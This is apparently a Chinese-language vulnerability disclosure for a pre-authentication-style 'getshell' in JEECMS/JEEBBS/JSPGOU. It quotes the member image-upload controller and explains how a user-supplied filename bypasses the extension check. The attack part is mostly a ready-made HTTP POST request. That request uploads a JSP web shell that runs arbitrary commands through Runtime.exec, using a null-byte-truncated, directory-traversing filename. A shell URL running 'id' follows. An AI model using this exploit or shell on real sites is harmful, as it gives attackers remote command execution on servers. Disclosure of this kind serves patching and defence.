JEECMSJEEBBSJSPGOU 前台getshell(高危)

...
 @RequestMapping("/member/o_upload_image.jspx")
  public String execute(
    String filename,
    Integer uploadNum,
    Boolean mark,
    @RequestParam(value = "uploadFile", required = false) MultipartFile file,
    HttpServletRequest request, ModelMap model) {
   WebCoreErrors errors = validate(filename, file, request); //函数validate检查后缀以及文件头
   CmsSite site = CmsUtils.getSite(request);
   CmsUser user = CmsUtils.getUser(request);
   FrontUtils.frontData(request, model, site);
   MemberConfig mcfg = site.getConfig().getMemberConfig();
   if (!mcfg.isMemberOn()) {
    return FrontUtils.showMessage(request, model, "member.memberClose");
   }
   if (user == null) {
    return FrontUtils.showLogin(request, model, site);
   }
   if (errors.hasErrors()) {
    model.addAttribute(ERROR, errors.getErrors().get(0));
    return FrontUtils.getTplPath(request, site.getSolutionPath(),
      TPLDIR_MEMBER, RESULT_PAGE);
   }
   MarkConfig conf = site.getConfig().getMarkConfig();
   if (mark == null) {
    mark = conf.getOn();
   }
 
   String origName = file.getOriginalFilename();
   String ext = FilenameUtils.getExtension(origName).toLowerCase(
     Locale.ENGLISH);
   try {
    String fileUrl;
    if (site.getConfig().getUploadToDb()) {
     ....好像是文件存进数据库，这段跳过
     }
    } else if (site.getUploadFtp() != null) {
                                .....ftp上传相关，跳过
     }
    } else {
     String ctx = request.getContextPath();
     if (!StringUtils.isBlank(filename)) {  //filename为表单传进，可控 
      filename = filename.substring(ctx.length());
      if (mark) {  //mark 为表单传进，可控
       File tempFile = mark(file, conf);
       fileUrl = fileRepository.storeByFilename(filename,tempFile);  
                                               //调用storeByFilename存储文件，filename可控，第一想到的就是00截断了
       tempFile.delete();
      } else { //mark 不用赋值也可以，都调用了fileRepository.storeByFilename
       fileUrl = fileRepository
         .storeByFilename(filename, file);
      }
     } else {  //如果filename为空，则调用fileRepository.storeByExt ，后缀保留，文件重命名
      if (mark) {
       File tempFile = mark(file, conf);
       fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, tempFile);
       tempFile.delete();
      } else {
       fileUrl = fileRepository.storeByExt(USER_IMG_PATH, ext, file);
      }
      // 加上部署路径
      fileUrl = ctx + fileUrl;
     }
    }
    model.addAttribute("uploadPath", fileUrl);
    model.addAttribute("uploadNum", uploadNum);
   } catch (IllegalStateException e) {
    model.addAttribute(ERROR, e.getMessage());
    log.error("upload file error!", e);
   } catch (IOException e) {
    model.addAttribute(ERROR, e.getMessage());
    log.error("upload file error!", e);
   } catch (Exception e) {
    model.addAttribute(ERROR, e.getMessage());
    log.error("upload file error!", e);
   }
   return FrontUtils.getTplPath(request, site.getSolutionPath(),
     TPLDIR_MEMBER, RESULT_PAGE);
  }
 ...

public static int indexOfExtension(String filename)
   {
     if (filename == null) {
       return -1;
     }
     int extensionPos = filename.lastIndexOf('.'); //可以看出获取后缀的方式是截取最后一个点号的部分，那么如果filename为1.jsp%00.jpg ，就能bypass后缀检查了.
     int lastSeparator = indexOfLastSeparator(filename);
     return lastSeparator > extensionPos ? -1 : extensionPos;
   }

POST /member/o_upload_image.jspx HTTP/1.1
 Host: **.**.**.**
 Proxy-Connection: keep-alive
 Content-Length: 937
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://**.**.**.**
 User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.103 Safari/537.36
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPmHBUvQPGQdo2rN3
 Referer: http://**.**.**.**/member/contribute_add.jspx
 Accept-Encoding: gzip,deflate
 Accept-Language: zh-CN,zh;q=0.8,ko;q=0.6
 Cookie: JSESSIONID=DD2D9328CB2B7B282A1B8EB8DDD82C03; JSESSIONID=D504FA6E4E72497B7BAF703873EFC1F5; clientlanguage=zh_CN; CNZZDATA1097297=cnzz_eid%3D1834197461-1412397667-http%253A%252F%252F**.**.**.**%252F%26ntime%3D1412404613
 
 ------WebKitFormBoundaryPmHBUvQPGQdo2rN3
 Content-Disposition: form-data; name="uploadFile"; filename="1.jpg"
 Content-Type: image/jpeg
 
 GIF89a<FORM METHOD=GET ACTION="">
 <INPUT name='cmd' type=text>
 <INPUT type=submit value='Run'>
 </FORM>
 
 <%@ page import="**.**.**.**.*" %>
 <%
    String cmd = request.getParameter("cmd");
    String output = "";
 
    if(cmd != null) {
       String s = null;
       try {
          Process p = Runtime.getRuntime().exec(cmd);
          BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
          while((s = sI.readLine()) != null) {
             output += s;
          }
       }
       catch(IOException e) {
          e.printStackTrace();
       }
    }
 %>
 
 <pre>
 <%=output %>
 </pre>
 
 
 ------WebKitFormBoundaryPmHBUvQPGQdo2rN3
 Content-Disposition: form-data; name="filename"
 
 ../.test/p.jsp .jpg  //跳出项目目录，空格为0x00
 ------WebKitFormBoundaryPmHBUvQPGQdo2rN3--

http://**.**.**.**/.test/p.jsp?cmd=id
 http://**.**.**.**/.test/p.jsp(PermGen space不够了)